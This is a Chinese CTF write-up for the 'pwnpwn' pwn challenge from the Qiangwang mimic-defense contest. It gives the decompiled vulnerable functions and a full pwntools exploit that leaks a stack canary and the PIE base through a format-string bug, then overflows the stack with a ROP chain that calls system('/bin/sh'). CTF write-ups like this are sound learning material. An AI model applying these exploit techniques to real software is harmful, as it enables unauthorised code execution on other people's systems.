pwnpwn(第四屆“強網”擬態防禦國際精英挑戰賽--pwn)
阿新 • • 發佈:2021-10-31
這是一道‘強網’擬態防禦線上比賽的一道題目。當時沒有做出來,現在來記錄一下。
首先這是一道 canary 加libc的題目。
保護全開,對於青銅段位的我來說可是下了一跳。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h]
unsigned __int64 (*v5)(); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u );
init(*&argc, argv, envp);
puts("welcome to mimic world,try something");
do
{
_isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
puts("let us give you some trick");
v5 = vuln;
printf("%p\n", vuln);
}
if ( v4 == 2 )
vuln();
}
while ( v4 != 3 );
return 0;
}
這是主函式,我們再來看看vuln函式
unsigned __int64 vuln()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("hello");
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
printf(&buf, &buf);
}
return __readfsqword(0x28u) ^ v3;
}
輸入一就會打印出vuln函式的地址,程式由於開啟的PIE所以我們需要依靠這個地址來計算libc的地址。要接收這個地址。
如果我們輸入2,就會進入vuln函式,我們可以看到vuln函式存在棧溢位漏洞和格式化字串漏洞。程式開啟了canary保護所以我們需要通過printf函式打印出canary的值
從而繞過保護。
我們可以看到程式中有 /bin/sh字串。注意ida中的地址都是相對偏移量,不是真正的地址。所以前面打印出的vuln的地址就有很大用處了。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
r=process('./pwnpwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
sla('welcome to mimic world,try something\n',"1")
ru('0x')
vul_addr=int(rc(12),16)#接收vuln函式的地址
libc_base=vul_addr-0x9b9 #0x9b9是vuln函式的相對偏移,在ida中可以看到
bin_sh=libc_base+0x202010#計算/bin/sh的真實地址
pop_rdi=libc_base+0xb83#ROPgadget 可以查到
system_addr=libc_base+0x951 #這裡0x951是call system 彙編指令的相對偏移
sl("2")
sa("hello", "a" * 0x69)#通過覆蓋canary最一位的00讓printf函式打印出canary的值
ru('a'*0x69)
canary = u64('\x00' + rc(7))#接收canary
sl("a" * 0x68 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr))
r.interactive()